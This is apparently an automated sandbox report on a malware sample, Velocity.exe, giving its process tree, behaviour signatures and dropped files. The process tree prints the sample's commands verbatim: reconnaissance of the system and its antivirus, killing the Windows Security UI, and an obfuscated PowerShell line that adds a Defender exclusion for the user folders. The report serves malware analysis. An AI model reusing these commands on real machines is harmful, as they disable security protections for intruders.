Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    122s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/06/2026, 01:06

General

  • Target
    Velocity.exe
  • Size 60.4MB
  • Sample260620-bgh2facx2j
  • SHA256 34e342d2799a3c81397b7198c57696017c95c68fa9d1bde9f52124d5c01beea2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to get system information as a root user.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Velocity.exe
    "C:\Users\Admin\AppData\Local\Temp\Velocity.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5864
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get Model"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic diskdrive get Model
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2204
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4580
      • C:\Windows\system32\tasklist.exe
        tasklist
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2120
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "(Get-CimInstance Win32_PortConnector).Count""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(Get-CimInstance Win32_PortConnector).Count"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3884
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "net session"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4604
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:4972
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4288
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM SecHealthUI.exe
          3⤵
          • Kills process with taskkill
          PID:5508
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell "-"cO"m"M ""a"D"d"-"m"p"p"r"E"f"E"r"e"n"c"E" "-"Ex"c"l"U"s"I"ONPaT"H" 'C:\Users\'""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell "-"cO"m"M ""a"D"d"-"m"p"p"r"E"f"E"r"e"n"c"E" "-"Ex"c"l"U"s"I"ONPaT"H" 'C:\Users\'"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4760
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Get-Service -Name WinDefend""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2556
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-Service -Name WinDefend"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2676
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "$r=Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'; $os=Get-CimInstance Win32_OperatingSystem; try { $av=Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntivirusProduct | Select-Object -ExpandProperty displayName } catch { $av = 'Not available' }; '{0}, Version {1}, OS Build {2}.{3} {4} - Antivirus: {5}' -f ($os.Caption -replace 'Microsoft ','').Trim(), $r.DisplayVersion, $r.CurrentBuild, $r.UBR, $os.OSArchitecture, ($av -join ', ')""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$r=Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'; $os=Get-CimInstance Win32_OperatingSystem; try { $av=Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntivirusProduct | Select-Object -ExpandProperty displayName } catch { $av = 'Not available' }; '{0}, Version {1}, OS Build {2}.{3} {4} - Antivirus: {5}' -f ($os.Caption -replace 'Microsoft ','').Trim(), $r.DisplayVersion, $r.CurrentBuild, $r.UBR, $os.OSArchitecture, ($av -join ', ')"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4216

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 527deb4e909f0e0c2d73da13cd44e3ddff73a12e9e5b976d619a59a078245730
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 8125de213453fb8ef33984f918a3f2d3fdc492e3c800a632ad0e520990f1c361
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_q4uobvds.qd5.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4uobvds.qd5.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3884-3-0x0000028E596A0000-0x0000028E596C2000-memory.dmp

          memory/3884-6-0x0000028E59720000-0x0000028E5973E000-memory.dmp

          memory/3884-7-0x0000028E599A0000-0x0000028E59A52000-memory.dmp

          memory/3884-8-0x0000028E59740000-0x0000028E5974A000-memory.dmp

          memory/3884-10-0x0000028E59BB0000-0x0000028E59BD4000-memory.dmp

          memory/3884-9-0x0000028E59BB0000-0x0000028E59BDA000-memory.dmp